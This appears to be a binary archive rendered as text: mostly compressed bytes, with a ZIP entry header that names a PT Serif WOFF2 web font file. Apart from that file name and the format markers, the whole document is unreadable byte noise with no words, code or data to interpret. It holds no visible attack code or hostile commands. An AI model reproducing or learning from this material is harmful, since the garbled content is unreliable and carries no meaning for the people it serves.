RhwzÛGgFMG\g=߰/-<K2c
n}O %gE8v~%/9mpI
W+PG)2cͥTAsEH E>Dw7G4u2M}qlJ"ꢖ3$s<w^~	}
Gai:_"_|c"0;ȇ*O\DP/פFN'$lvh;xDO.M:ŵ
gKaJMf:{Y*-?UJOHޝha]su B$H#
DW*ɈsIP̣	ZJZ 2k7nGiXr_<F9ԍ-Jћi_8R؜a2γ[:WXfkz;0?jUKpVNrrC52S`;::ivh(=	8ld/Lrٟ]:jQ26lBg8VvW޹![߸B \[:z5}Ǖ+	;7#Lsņ{~}lF.	w"@."mx̣Àix۱`#0<>h:Fܺ#'نXl!W[-*q fqK6^@~^
Q>D6dd|)܍r90,uW<_sDFR32W
Q&DN刐pD/*؈p=qWc_ubVЏ.*<yޟlIy) w#c*b?(S*Nj|
[j%ۦO5=_L´ȯ th81se^ul6Ka&PmEJ1
 "=;/wGo泣Gia@~Ƽ3z>wD:ksdPٟ P+	N>5'pgY%E/8'$rB`<UC waݎIq)*>䛐(XDv%r^?r2F㈊X#t}bIL+KwV8G)0{// BcTBw ]C"HaNsJ^hY[7 f`8Z|_>fj.wTg.tu>c]..=VkfAM  ,#׀GT1P̊PcQȈt_w<]1P6AIF>(5O؀~o0ampx!+x7yȁ,{=tnRx|'gEa/ʓ|.Ϩ]32g-/^f^V}hRdOmnƐ8R>YtS<kQT-.k]X	CC@Ma1Ct"h`i	aN9}a('>"wdoւ?L!Ȫ2m*r
I	-7xK%ZHO S+9^攍Ó}-Dn4!)
	@YdeT1Xp R`q,xa/Vz1ih1Y0JK#(ۊ́@,
N['$uG4kmWL7l3(20+Q*<2j
/rO,e@{'V "ˉ=1ܔH$bҴ'ɖlJV[(ŲԀ\@UT'H%?7Sʉꉸzh3\ɏ
utIQv[pg<#iI$Y؄aP:Hi&3U+גBtכ:*q\}B1fOb!ЅoG9I$޿E!ĉLM{BIP]t 
1Sזker orQ`H1۽
ٜtli(H=.H!B5YgWd,X!ʝv/
:6ox;rC 428SS%YIkT3PG cJ2c_8o!|NK@3ga!7U߫s橴eBAoS/݄Q~]Nlϧ!x*#E4!6Y*+\wq	v_	fYl*~*9? )`"t`L%JIntVd+lLbD2,%d,0rCR1jDDFD	;Ҟ6nZKȺJퟏ(@sc:|KftrL4RӧiR?u	~Wx=An xƓ|5ă:%+|Tt<tQ%5yR1dezBzsjĭ}BAML=ֆh$ieR.H3*C&1o	6w>;͋I6tPCa(4r۰,'33	X>!+:A+-$ᡌm29y	YN8mϾrg =us_Qè4_Ǻ
}r0T.Iޞ 3Ug3`&QhBUx|C^):#>1b\,q՗ER3u&?T-E#ڭ$%S~fHxMq:m۔V JH  k|ҔStB ~$Eg4(0AHUCVyARHL.qQdrCVe͍vfex4 r_YQjsnuЮUEVdrY]n<RzR-Rq-`+G9#m%̖>)oCb6qKɰYzI?l`>y=_ 2|sedق{6.s>.184˨ߪXR䋶Rg]4 BЪ&NўPaaSܧ]Vy+65=޸\0P6q1خ*0μ杓6#6ײg=W=+
$W8 bZm˕i@\=fgv7M?7!ְqS=4!##&\'yYZK-cB')dB\z}mipkߦ/G(M@yب*KI>~Rk u_`s! $
x7w4ԋ.;Trڶ>hiŅ8xQAlJJjȩ1ڿúX0QD1;8E	?i-?$BkFiCm}
[c;@޵lZCWTWބIBФ&c>`aK$x
Dt|74cC ={i];q_?[	G-3hґ&v)B.z?tHi(AӅEYѣrm?(c(WQe;}?Mykf13nQ,R[6LRH!VmWe~E*+h·|!A(dhQjhv# `BL2 C`=xR
=l\+HH%x R bu򈞴VGQJ׸MCb0?},/8w ``p81 &E̲9AlwG$$^bnCnG"~z%3;%EN4$g3[ܙdOO9txGAR6	D\oЙpi儜bZ~HZh	.\ߎwXXPҧK/Wthu8$>W&Fh3[:<qTqN;9
o쨳n~R0)jҒ_J >&.a8ѷsKғl̐6y9lEcO#|8sq]xouYV}N;I_ SJ)ҠS&y9LW2r35qdd|h%z3h9ȴqc5YId(-0'Fx"0 ڕ$af0hY\MyH6BDTaPB	ڌD>l11őV<Nr	URf"jÐ85wĂ	dT!iLŝ8 `E[D4}̰rgX	ۺ78l*Oİ"nhbّRǋ{k]A
zjF㡘;?yi/d<͐\hd?-(AAO;I)H_Ah X|v0K-D"D)e9+ۉʭTG}6`;	A{`zB}EσGEӢ"xuwr/9hjbeZ6 ́.XSy⎓p7=!%>*\cxF5HIςwU%TSH̠4HRR\g6=\O`JQɥԣhVP
c1@TBigAOL#dVd&_s݆sxLBLIttWlyG,U3Ip*h>D"5Aåuڪ$<F_×U	̺Ams+rDzs=P^*#kAr9WьI$jZQq3&ɸP"k0n;_(ė:DQk	Q]>l(3Iei& ,
e:%`D#	j[;R!SގOO 
Z57巁K3Wwfȩq]I k`n}~2_5`4'H_%jB%WKֹ\qN3w#QC+a|U,wܷ]x=CףD]\
F
iaM;PkЍ
ntT1oF+JcT7?ZF	4jMSltLgR~FQQ4G. tjijviw9Lm;[xfs&sP4
d+!3<xj&0Rw}ׅV#uH14?GP-4jmQ{Yxzbۺ&#[٘}Őtf$ԥFUaOL7%%x6B
eU\4o# Hid]_@ DI_CȀֈbMʌEz5U|;1hqd\f%qCe[c>e<%/]oH4ٚw#`^!(A ݤUe݊IxlA,YW@x3M+;ʾ`}~vٿX`^fcyBĈᠮ:]Yƃ1y5fF1Wi)+Q2.OSRN|61'C-6N-WݻV*5w.){5dFDɃTj樥SXD$sDUOVYjYKG*%. 3FePΘ5fsM_tk/
$;S=,U{sWvy>CP-!aHٛ׃c%kMkS#	-zBU߈Afqh؍wyګP~3wbx"
% = ")Nq]k>
kDrl|HSX/=ϷI)}ø&Dԧtw揫+nlgn],h/a5Nx#QUݣ
kVE5km^0CQ[Q
Bf$筄{$R7T+*Xavu,F:Ҝ+"ݚP]Z5.$BS/():.GDnmWܡ!A;OMyt'vlA	C e%dCQ73W!@Q&~7[GLh@  }	"~lȘu4.w6DDKQFKe7È2%ZpYDD$ [Z^FN[xlb
iPa>a,DAF=]>I/[muLDLtPF.ǫ-$˽8Y (ΛŭyK dIK|)31qvl:҉1c4/_U	8 yctM= xGki!U.'jB$hsjyq=-n3qbF0vmqJy|I9w=SiE kG
0?Ď֑->(ƕ9ͳq'Da>P9]yElEcuK@n-s	C`t'\%5OW_վ^%y`,.&G ~:(80e3L	1|!#3Zd\T41yb-صT zE t~.E.uAzѤҊV}jp~n|6MovSK<1mNZȢ0y\Da;-ϵ 4]`.FO5 ~hoO'h#Ҷ̺UlVN rc[nl1ZDPLaF>=VcAWU2oTF	ћ	߱ſ&,p`X,\3b<$5[%2TKLIT&1Q*-M2Vc=8̘F^r*Ya
++EXKч)k^}ҠpNoߙPHG{3;wN@#JB<nHmb3`Ry'FTz\/P[2OeLAjv=jjj*B;r]wğ
Dtog}j}JK2hch2w[Z)ޥpB24Tz5gh}x506LEn/k,n5[ʻ+lJn(¹;I&p@/U
Dv`ڄHPVSAxJPh
*FIyd22ӊXd2-4:n[Qu\?Xxp&&#"FG8A>.f
ዀ QPF^$akx"Sk q  + 89H@B{7lБ(e'@X%;WUW[J@ja~vN 52),l]Hojɵ{\wlɟ/^4x>lv_*F}8#2spnRZ>aKr\D Vt4=30{uOno=eB?ˊyh稖o1ũm;1 
#$l,.YwQ`P(1Cx}^FU_0_vŰ~ӜQAz?S6;SvClj:t˻-"Eiҍں\f/>S/Y![f$zrNx0t9~ZPBiE䜃Iu'܅H&̏Հp@Rasʹ0

#r)kX5>ϭg8ճXsOy<;qk]?㝋{ăMň؇^=Ez/\p#è㐿=-ku}k6܀I0=L2g<W@
kMF|h[J`.P@N_R,@tl͇ݖ4	X,3~vYrS !vf?YK%:8$gξS;4p2:s[u7?=cJêh<z>A_J.u?^\{$_w-%_[aI&]{-yB:KXXi9W*Re0?`06N  j@)j]Th206ZD`ξX?xzIe[DH)Th!Q.<b3n`
`p./y܅0<Ee"	\X{JfT945Afw:MD.\QX>HL֔
P¾ac]?))}ۦPOWO0Nqٮkڽ{LwxM^`vϜ`c1i ۺNGgV:;o[q֤͗3UzEk|nfÆhP'|;JyR@D#m#զ!sqJ*RRѢCen1mmΛo!!uV3?FHnvyA=upݹ`K/A&WѦa<6 #
߲D'b{EsUwL#(ͯ0,P t|g~ߠ]H'6 ]]Z}lDR(}\3%$'%ivF]'\ap2-?pB =-fc,֥yb~Ǽ(beCqupCUw+ ĺz՗kL;sGV2Dw%ݓмh9՝bS,4/%KOR|KuY a|4gr)e>{
ׇ3t3cڜx/l>l^@{r^np{^OUT#P{FY[D2@WCCa9;n.^GLc$2C|l k#EtPX붭LiGnj&\8hfZWQ1ttn`\?hvM6)-BG&kxĞ1b/4Cv7gFO]xEf"Њ.!	$H4	XE( ({`\0*7 Lyi.GlH]}6Ӱӭ tq'K#q5f7[(=<V׹ vTt@0akM뼬#	dd#OwodnRcpؓH$2 RP=5A{B<K]!96|2m%W4mqm	vMo_ˆM8__7_j[WGǶ9^
IG4ܱrpggrTF545ڒz$2sڲ*2ռk4
#f8NKzW&SZ\ZII:gʄ.vʴH69֛dT\إo./;<)5[GL$Iɉ)tEs.{
" WGDo$Xow}I|Â/ZaqFm̶rm/gdM=LX3;4ZJ01Z89*fٿ24i/(w0=LLrٚ{!XLc 6ɹlہ0ewjm7deF.P,.+ӌqtIȑldT@LX5> f&Ժbo&SY,PҩΞ$[%5>Mnv1yfEǲBj<xrZ(7[oˈ؏͌ ҼWW<BZ:n`ܹX<wk\:ˆð,J'0	-qiW'`&鎲75RWlXpzu<ae5;'3R6"h`0EU@*d	 us	h+ Yt?ǵ"thM8`~1visK8ɿ:#VI֑.dػV9W3Q[y$yK9g$.阍0"<K7͎n_ɀOXq"6u0<^_ϛA́AB*.h{j_ϛoS0~zOg3_f=]\8X-ӝ^1]V/CRkݸ!:mytrK𞇻<'?5Ԭ	(0HDG]SӇ{$J3>⥙?b(QΠN+kj&}Oy(Ez Lv|KEy|0XË^hvs8ǈ"zuPRnNk	b-Uq*4vΞ}{AgU}VQ>:osOv/$@f8oMz9C-/K>~ka;Or
9g8v~χfސF'=C!qYii>=𿒒, l`rt+? ů?e\*Sv籣0jeF	$W24ۥE{+}sK&ΜԈP$Pl2!B{=HC&wL\C0j7Jo|+ zL wL@7C ^Q9:8Gi5~r&Sݞ$Ecdo
(0?Gבb#|o9a!O8WKٷF%/NGNG=ЏŹ1L#	~X6_qҋV_QU#nMdOj^{  -ZQ\гN~JvwrPToXEj)-Ly	;@6r~YKD[bnyˍ1±;ۜsF$-잕	=H!6`kY%5`S	SE[j!Y'T62]'{\UfViJkE?׸rg^]yHA`Y|钗rb@]?Ա~&7UBRIVz {+5$y.q]k"$%~2_xɤ~Hd|U-Jh#E&[
NZyQE"7Vm@xc! 	*	cP*LA:4Z&%Fm)_k%$eJ5a"k1_>ֲ\*,U"^U.!3aR.:+ )G i-$"Y+.ZHL\,@3ֲ]*57@4qT=?]1+Z6lO/8Y5#Ķi=@ -aaoUܕT.LL"|h{Rk(IooCȎe}Eu+\YD3%Mr=Ueo[pzXboL]AFKDJd)3j4u)Q/ؓzq+y{S4SLĀ[(mOX	{bRjsh
٬Lr*X&'#Ur!?NQQ}8D
7^Iaw"Rh UYP@lRsUЬs%)[GPh`ǋj1UJ
6Wn7K`Jg+PoV,|=-j@M~V"c.re8o@z)ız{,%5<ݨV7]Cw4fg!vE>>Оl`1=@VԠ3F#;e^Oj%c8:W;|qԽm&|cY'7_i`V%5	_јD8{OXwm\uU{.{dT}1e6=%[|%]s+Dyk4'*P\g5_b3lg/mյ V+U|[@s9}HphyRRi\Y}?WU= uz~yϖwܩj@zr>w)p>ƴX1ClFӤu.)-5n5i3㷴[7كĚԿMkE'L} P'i1",rj%KnaHG$Ͻܣ5{,q=c"M[:U=,mPFj\:ugsy8*z WÑg8wϮݚCVw@fjIhIRGː)x	*hf.CHӀYTLzZ`aLBefN)6jf+8)x/[Ŗmf:6BX
RXTBl00-}3
0fq&G:
bdGWfQZP5*CNe"eNYq%lJ匉ߵXkze2}^GϣTц<[	KS)*jZ)eP?9(g	FCp\]Olوiu%L(͖kQ>*+nVk=2ӱ0wMp9I, qkR<..ܢKc45	$nj[\[t۽5<Vw-4>}dK6QW!&]Hcol*JsT_c@W54	@漈5T)Rh٦ka x+=ЋH0Րk˲wE;Euz#s>_!po^ƠVH:%
Č w#qe3\!=5
{=Œ$#lu3|dp#@@.`&ąE5Tn1Jd6

qP@`KQϜu%ԑb 4c?$,E	WUC1կ@hҦ-TM+.CoB0up
D_R#\hӺ4Y&ĕ	M&wm%RV2g)d_3?,,܋L- "bOIh0a-7)s冎qD5hH_8ʈ&8,[42 vz܈!N+5N3]\c+rITzBGʨgG&%a$"(YK\I1[$F.WCǚ]-ڎ`=Y0D4)&A.1tq%ViIU*GٕgLҝj
f0H^'ew[2fB2
uODjsDNޓR t:[Nh2`N։Rǥ,9CIT?2GG>JbOEut\t1{f.^v~+̞w- yz]Ԡ_nLx%NF4rZTU7cpkюRhRt}r%;P;u	gP61\TD'[7>npZvAG%Xm:9acy)~'s}Xֆha>s`x;m|8fj%ڽ-4bJTOf1l=dB=\L?mڒ٩ћ#F0$E@n&<ۇ;u_s)'{J6HCa^^izie۞[ؾwmImdݫ)4l ^J3c5fCu.vzllQ
T8s0VqRbMPV39kn9]z.,7ԒsC[dwoGuXam\Y
[AueD1Nx??nd;#	h1iQyݎgx,4m{>G
)]SdfU\#=8l[՛QQ)z9pM'v滰%yNO ;{a^$J+/Tb><rTSiR|I̷̹쥜pίTP,\Xc5*>,s(<%>qѭ̒ŶgJIG6VOmxP+W)\kc."j26yW<7KydurBBIJlPrM9 ?P®~)yZ͕p!gix|wIYܥXM>J9*ZG_`W˃}g:km[1yVdqmnT.Fڃ=/,
^׭&l=V1a~EU/"-R毭V\ѳG.
}`cGzunyɛM׊6<pv`}-w$9x*~b)}ckWۺ\۫$2U.zH;8rc;3 q_$GmU-ʒj#{^=^ĠV<Zܼ?_oB*dW55֕j{՗~ZMBS>	z{1 6ol;QOIn,G.%\2D%=щFTD@FNpc{i3!\n*
Ok)=Zkqm9|d1E0GY5J:nL֛U3%ϒ
{ݖљGKSUD&q|ݍsaoAv `qOJ¸ާG)x)k|n[ZkYjiAP?JZd
νNVD͵kzd,k.<xQ!b\Qxw%~#>ukZc{&C㸉dBgln9=kh}y[4'H&)̳״vHt 8ɽXK}"weq0`5>{yR}+|¯ňV~<'j{Nw`ާS=ضXut`bUz|b(דnKPĎv_~L~zdӶQfX̥^MO.˾ATL
{򍟐e{gE_s?b&~mj~Eبf^ؓ+9"|#djSAuCf\g2ý~:!PjC eԤ7
7-Tju642tNG⭈1F.PH 1_n'26.7@p&уÂMdՁ'-.qT$nKDjj g|{f}/Pf&U S!'VUw
*ٿ~Of)V%/%G&(J@崩E+ubD}_, Ivd&nbWi=FR/,ڱyӊrnFu+"2<|# =G-ݡcPC1hT͂ ;p4+rXT0_Zq:yMI `J9g6ri500B%AuǤ ^hQ$GX4,j^VFX,츂^A	T](A,Aȹq0qYPơIAoOx?sq:&Bp	jQjTdq-a*e2DB{9$L\ו@/29Us]%Ǎ'֘,<!fyԃ`rӣLY|gL$.3%rO2UݬWqss$Vؿ/0q$I&Cy
)QV%u-]gʘ	SfY.fptaGeρ#'\r~ZHrԸEQ.(mw{lP'9)ذu^ǊP}SaE5JE%FXOѯD	$["Mt24)[mj3ύ	^S+*P6ZKtn=z
B'F?:%z9=ݛ<a3hiA垝y``y_Ak	So/BAx@Y]c tXh	pB\X"MmaI&
q )|`yNOuyL[^JQG821Q<z:82#1JS) &y(- &t   PK     N\+
    +  fonts/ptserif/EJRVQgYoZZY2vCFuvAFWzr8.woff2nu [        wOF2           *                       *H` 4>	
8CR @6$  uJ`'6	ҝNʿ˄`Ĥ%Er ȖLd%MH@yDK1ۊު)^;lJ٩SF͹BMb	CsC
cH8#ea^# FE#Q6ѕoz~2㹾~.S)}®:jiqUp0X%>rJ[Bg*niѣOTA=A#@FE'+ 6;@#A@VL)*][;ҕ~|gĖm9^o
.z{\tGLhs BfׯcRgB'r@\tw;欚ƶEbS 2=B)cu`8 0Njqğzz+6߷`clZ굤4RdCD=@ͯ $VFvu"]yڨ &=o$ے,r)e[kF`P& C?4̙e}崀 |G@gg*f?, 8$f:?ui	E#=3āHQtFU1hwg]8eҗECl r=O
lڨ4E#&l[[B
8NV@@mhF^s
0q9F;AdA8A6d;74PMz8zrtߕaDRaOdx	.[t{zlzݢ[:%h&O`:=I;`>␄:#RQ5 i_7Vf?%lpQIOR'ٲ5x XQdT"uV\=L` F@}Q6&Zٛ:՜Yj	
  ɡ(Iܣԁ$:D O=ɫvSU $ -モ
M|oWIeLdTBީ.9ȥ-Hɥc贱]gCToLLd(">	o^6_2I^Da&BYT G7<)}/?
.	 '5^M*&vLZON L#fz ޛZ Wf [s[szNX4!k0.D"Sob@lp}}[/->d7Ӈ !N`{ wGvA;h`lz0I5ul2mi$a
tT6s)Hp.[1]rȏ+0ҳ%z2pX
HO9H'9+Ŏ4'*¥䘴1x?n>
]lCwi9,itVż (]`d"{6c-h2 v<5>51$_N%bAc-N̲&[XA)`ˠKHSA!e8s?xr))EwG@e0`ѨSYh!gS<}ǁ-e[g;_, -"|Ċs~=;J@o_VS |@4W6Q$яɛ;9*zX	A v|WGBK.`#Fl3{K)dDTʍEc SF}"]Xa:,ȐPM8!n5OSKRrU}0VO5A
ś ppD"%#YWx	L,9dsɕ'_B&lSM3,Rtѫ߀6lvm}:c:.+ARAmQ 	D$	%(HR(2^PEMW?jH 1
fa"HzLl+N|X
AJ̀`2(]PzƀG};`akA\$Wwj>/SX@W/`%U/45Կ!YaXxDq$oco<+aYoFMbhmp=R	EM١Єr*l]#tm+h)AoڏegzW؊iI'dsđBd`pwaEOކ=h,zz73s,%,RV~:hwBתe湄ë8w❸$ڀK!"۩(/Ag9E*K2<<j \HOH'}r0v9aL/l8Ñ\G
{ 0Z o4a?sCv,RD/l2Q'N[C`BL:3eP\(l IaZ~?tگ~ȶl,g #[}NN99+ch7RǜLI j#'$A9MNsJm"scE{@15AyN	lD;814ڞv1gyτBfuI`P13lZ5ntuB˥33Y+U,Pb-gp\SࢲXLK)2ck(pA$xk,GQRC:HYf#7WOQ܃.%9mcI yI;./9Fi}X=gK y(BOD :Ej1DNt;,zEXq0N4UP"DHūL+hK5(ـP%s"a  ^e#k%G`?S@\TDC/BW{hO>XL_픝4qf_Czߤ/6⃤)QS̱'s@M̱h"JW`Z]Qz/cAǻV/xhS	;>|t?b9,/D8^9Tv4e|3^sAΎ(x-qlY8>FyL9O3ׂ2':)s)BrO3HR@gD ~hmd@ ["5573kBG	gʎdN\8]lICRH[=5M1z0TIӀ,gLTQ 5fR`F)*lz0nW(08;;DRAHq:ߒ"|h`հd'aR:vH-i/n[[.!HY[# 	V'8Ŏw7MT	ԜjتvplfYЖ.ouTO47eW#y;ee"F~,1\[	 Ɩ#s+mn9W3aKc1־4ҒqdNaJ RH$#}2HT1220hYRTLw@:|7jAj'o"*K	/,9g1εإY񱀂D>p%#Xx"*lM$Һ-	e/"E$6A킭Pk]1yS	B&'܇y,U麋BJ~8$Q%EQJei[<VE~^Uj04*V}	/CkޘX?\?@.}^āLuS_F`X+۫W{~eXxٖfIMvqlRzD`xoק|+NlL6pPO'ց?dMÒqZ3+S'-[MEAQЮd¾ZؑT&e;ȑjOnhFvՕMDGz+FY#x]~|2D/궑/;aN\FXȐ2=,/_j$_2:'ZYq7!ޛKAYK|3!apsT{ݔ޲`P(+.evm#+n
%)o!:&UVhAVp£rH*!ШڣY][L#fi8d_HaZD~ԛW[}J)
Sh0qWd+:4(z2'c5;`o2ʥ)wFv{ib2ZqV)SKy*z]CΘ тMgfnNtti[ ʒ &$]`O'wyO8x4<ȶWvjBz<H(E@e3a1?r9{/AUۦQ6;Qf"1D8`coQ}HUVk|^V:Pa蒌+df<\k)Rwi6ȧ͇C5eb͋dE|%J-%ݔPߗغ>Ha@Y
͇FۀT^֜;ktA#|EQvvrb%bXj	d3U8Њ-}Eߩuϝs]=*6JRUo є۵W3z	 z~pK} }H
vݷZo;'*2h<U&=dhK-q9듿,.2+#Di^@Cz߶JYE&ow?b94\'ǬWkt,Ѽ*ֶ}-nMBnZ"F!3 kphHJV3Qbj_s()۪b-L8aE`HPȂ۠%(UT>͓T{V?L!!GeL6K7VJ4Qz1
`>-BqFw{MaWL\ǐQX1@Ռ٪~*z6b{lQ+ZMbNo1DrTb}̉y1ܟYJ-W2Iߦ	?;Q"lFYKm;'QI].!3j^/qPSPUS.ǾD8)}M:cN2'qtHKސ4yIrt1EU9Y7ctuQi+	w,PT+ltQq _&r`!yiGӈqMtۅ~õb$C讪~T!y=DR;˺;P+Dme>bz>j;ZB*I`5}l|~+W*ƾv3?l)k]
1+ZAMzHK@ker^٪3^o# tWhJq/Q"MMGhgpYRU=e)٥@s^^-e{޵)<vlK2-B.MK[/~v:-NzA.{{c~]ޞE+]RFR}Bpf ]xn'7ȭuVW7b2[U]U[t^okdrW*v/:R%O7:9+Bw	]$|CiOo;\Adm5-6u5Fz2[52[gBlfd僷H"2qԈho5Vvsb_\XZtIP!z^)+*~,yW=#SW\h8#$Cwz[L2	yۄuۧǊTX!Z7U+Tc܎oO",3Vk䚠.<)F?,8Ie>`t r>KͥP%r1YdRiG
qsivayy%}5 8ZbތKO36LK5	ϫ]cƺGUXD	{!<p?SGZթ4,F$j2v>Wp[$|󟅴8o_'ǩ1F@Ϣ"u*)3(ctL^8#a2f!D00T<~p0
3Nd\<ZLB}%9U9a#KtńLgMF9ֈ4aUDE*+L q1369~^8bIRi`~IrGT
t3i+1.><fi4'73#?A46:*s\o3ɹ!Kw{`c2٫-
T:9w\'XًM-r׽s=_/Dr^fsh$r{~EDJr)FY*r]?~l	OxLٝLud֦D?+;QZO[Uk/Gq<JYi_W1bLN+aC90P\>(YՉ'vj!1뇡PoLjl^=,?]eL`k	˜l0N6Y;,'uEրcRĵl}^@UhGj9ںv{z;'__ŕX[В5{G&oeqш_,Qwx&8jYݿGG1U0,#qoM'(Py"UK|n2ԙ`)JȦvGd'j$8`1bg{|XO(4ѝ͊6#-<Eud.Goۤ%qSHi͢XiMah-U\նIeJfVVsy鍵4⧰PWU#UR?yes+@ycanc݃HcRUE.B*{D秿{r2OBqֿp|68mCZZLxZnoCs<ވNofL;܀ ^>]dXmҘLwWYWIΖ~E(N)I2t`n 3Dӳ.7EB$G8rk 9P~m;tLZ_xS(rJrL0vΠΣ;!W
<'^bsvwNLm9xBBͲ*'7(V淏}i[s5N^刪GJQ
䠧I`.~%Pp	OXB=c߳-9+xǢ\q>(SK(g"|POT#b&Et>fgՕM^X2%Ǝ.Ϛ@S^튝^]8_[`;eY+dUÒ^W%o*MhI.E^[p`nFbzF+;6'|?.. BFk6ԙL$%)7/ɺZ<˶n|	^:+PFJJHRv7@y~b	3Y! ,p}$֥kum1GN($k9Y-^X5׹BBBĂPH6o-pt֌$vZ"H`Q/m>p%2H3"̎./XRc,MZU}jZ@RJG~!xgR˗y:wv¿atT߀xDNpx9<usGq3a&h/p刧(M冄SYu@2:&5_$dO
/j`_,8͓y)8V.UE(lL4nM2zaqnw/I\A;tß򛠱sc*Ck&n^]Z?xhC8xfU/1	bFleTW8z՗Y{ V?`vfͧXV;!8d'=1t^1zrl-M;3C*K|i;L/%2,/HL)RRbM@n&[@6:U =$_3	e1<87 -̒{Bȑ(ȽnF?rA|W^m;48o.,҅\jYN~G+Ѱk?SE'aEnI-6H3ȅzh6'g=ņ!+0mgJqJ kPq籩co:!%-BgE!D.jlb2Jǋ!O>б\>dK98r EE~Ca^gdڧ3UaAS;ESn4hVw`?ا|!#92U]?uw{+g;yd)/]@<DHdρC/`|֠s/n ~	-0Ez<C`{O:7,t~Y=}N-+MA8l
/qճ@<OAuF5rYT|1㿩N0	9K:lq{^`]Dpnt|0g.Q'xf|EĪ	2TH39ZZJS{5:Vר,?¿<4ojXDZ$yţ'N2m,Hq2Ta<F5Rŉ5ЊƏZ'I	DKHڠa	2x[kqxadlǄ1aKHACgSan-xUз],Y1$M/<?`t;8'@/ROhgq)L*̋IxƆq|dTAa&<kEEҩuBa3	Ќ]٣:ֿtfrUozl>!0`8## `}~:sEhB>feb	LUa'!D/U,TǨN樠pm&7s	C&B%OpE!^鰱In`ȵ1Zc9`0ZOwyϦ=b׺iX#xʹ.>'(P$yM&xJECt!&Tm,eonO&)C+M% oO~T)t\'ߓ	n_0[
j/<?gϔIXF临?-Y
U$bPQܸنsTmj%< d|n$U֑ȬPafݒ;)KKÑ<FxܔI&Tkې6dvԛ܂6|ذ(_2J>GF\]Esh\\:g~3Si*v\	mb/r9at0)h>P֯Qf/<DHm\0vNЧ&XפO֢:'0{7!RkPxsM;E}}ڽ3Gz}9z,t<ɫ%" ,aɀvCf1I KvkFSCW}@isB8;dwy+|]FppעO_w_Z\	"=Og.i<BF(-vtΞxj| ma8
i猀GVMm-ҹoĹ1u5+SA43f"?$OW{Ksċtł<Tjp:3 =vzB:0b,N^0I{mFꠚhm*2"C!a0X{p8UULPvham8ce3x%[(HrƵnj71gWW%;	@e> v^
y%͞ۆCqw<lټ%o0^lM̟OBN s8S*͊|y_beJEPX[-k_[()I4?Ôi?`t]p,D_}Zˇe޳7>!j2\t՞&o#)#8m[s<n	E}p]
}һuRC55.hbWOW`'D'H-}0!k:6%n{zPkgD4.Y&yS7\شBki29'/x>/&䤳	dwi~f\	!l!G\xiGB{0ۯeG"]	X*&ٸgܿhH0@¸:FPj*cHK5Zo#5P(Jgơ+C^1oޏ$.BAb#JyO8da~~qct(ðdN)Kn~(r-WlÊ5Do#}KlA_&vVEzϐ)L0 a5K
̧\@1{e²oU.QDKxU_B-Ԉ0o/܏{?~rq"sDnǔ܃1-kwO?G9hY{^$(]Ai<`BMڷzFLa~կa2i_!cޚքW#~_=1,C2<w|~4ʚ[ͳPХJ
/e5Ep@<g?K޺ۧB{o0obtq3ta/V	s]7#h馁u`1((DYHHWNDǒ7Tz8ᨗdz{^]mi!e5kL0t]sfZ[{&9"LżGPl'$VtֺTBfD5rr-$\;|LP|ӊi B&)9LZ=XhUǊr,\4_ci$A9HLUe)=,FZo*rgc(g&5:"8%bbFTdJaFMT0;oVq~`ތy£ðyM34lggaIUFvD23caj]+\aV+S$q.-
ɎVxaFŧ{`,іp;0&\&ih9?[k0OL={R)5<,U<'3۫31s.սxV%o^,zA]~׏O'fŃ]֬ÛMM׺#M5F:z+r?
c`x%TI^RX7|\MvzVY]YRWBIoԧcȋr.۫{o[Y;*n%5
T*#ӄ⻥"(ڀ%Lc	4O`CL}{&8P{=t:8p6.zZr}ߴ9^Hj|AZ%vw_U*1I1OErwѸYXҸB1Ę:qC9 d~EVUPpa8`Wds6/[ڰfwƳG73te buC4Ѻ8~~`iĂSgrk=Aķ;C ]]ʬߋbdܚ*SL:Nh+g~eqbU":NfHtaT^!](AC{u.IQ+gĹ3CZ"_qh쫟82ުP?tf}C~͕qG1Eg$NHЙ_ `90ON~jvq.R:J|wB^	~y@:h?~)> G[
rgf{wxvn	sgݞ7riБ)vҚח񝇞.YNt\&&3h	x5k23;q?	1	6=&c0&xęvA
!G` ē+q<2	BƍpwiaY'.D#3^(PUswGS8Dx};x<zWoxDaBUx*7"K<mxsDB&<s`O[&񍄈\j?SĊ)+b;XB? g~;0!NMNҸD-V8 2#I}&iXNRyne9y{L͔/yd	m2eH#%VaHWr
+'|~ɵztqRepۭĠ]_/."R$YPM&<yp ȌMߜ=Ç |wu
Ou˿98In8$I$3)ㆈ0#{M)VWW	`=`Pqx8.7\ae**\\z%UzpR[ȿ%~(@=ʓm\spf- JOB4VCLܰ}I"`lY)4L>+|h&Iˋ [l[C,)Д*%m3ם^{#3k>4hzVFͬrE"*)y'8l]i [SZ 吹54ex1Ǽ7lMTGr׷j-/R=+-&<S;>n7P5\_MaC$k4~:˭Cp;+G{*RF\GdZqagB搞{/uûm="	&~4ˬM|:>1Rnt|ZS_[!A^zDل P")I0e(dE5TMSKڊz/[`fd )}w0f]6=3mkI(RPBYCYkKHQWY"g5TsigdY[ʠe).f>mF\46ym^-DocjaR?h)5ًU5o'gT
P ^ Ux瘶f ViIՕ\u\U(u&j*7M#Na+gբQIKe9ؽz9t`Sʛ[8Au3kolKyMM[n2 &/!	; #a#G|-΢*ߐEnޓ:նoL-5B7߂{V|
F-\R*~V]\h`yO/ew9Z|E[o/⴦ac`}ꥶ˾,ϩ0hH^ڧ=w;dw۰03b e%
ΤM_n^xN)1Usջ=m  >@F	q9YU{uTN&0qlM+8r_2/Dqx[S]<J7Nv=f64m>feTh ,5n4-Z0l^W">Gwk)_vaH=6^C	;哒
#uOWp4!%49aSй{Lڅ.D(mHsscE	`Q a' gܐ)a|ؑc=Jv:MOrLGMe"aΞRsZ#K՟dsjXoL@6 K=DZw6#$CA]1cj=`V&8)42
Ki,04*~89u_`
H/A3^Ͼ&X	o6_`/Wnrhւ7XY[ !D0eReqez#7&yƏ!<#Z!'gǧxUpwbDJotR``<=*m,uݽUSթ{zJC[Z%78)q޿0k+]~('ܾ0w&oke=9N]QNsI e	Z$u
Cr&z38<v"vm$):Jx<-GSaiB]U$Spn=Ǻ);Уr,
`(xbرeᔳ-y&VH3U[EkqI`?V&l)My&!\'quu湎ܼ\A<yV[i(+{\і]qms>2eW6Z>&砒op	",w7+ͭ5	+|K|NX.*PBj
D9MV-tб~?b`B!pX	t`SL^I4.ra4]Mc.bwW|)>;_.GjF76(Nۓ}-W$/0_ƴJX!t+z=4d[_l\%,cc֤0vޭKftfNۈ[끠;׆lx@er!bcV},J7,wi,;SKI1:vX9	Մt}
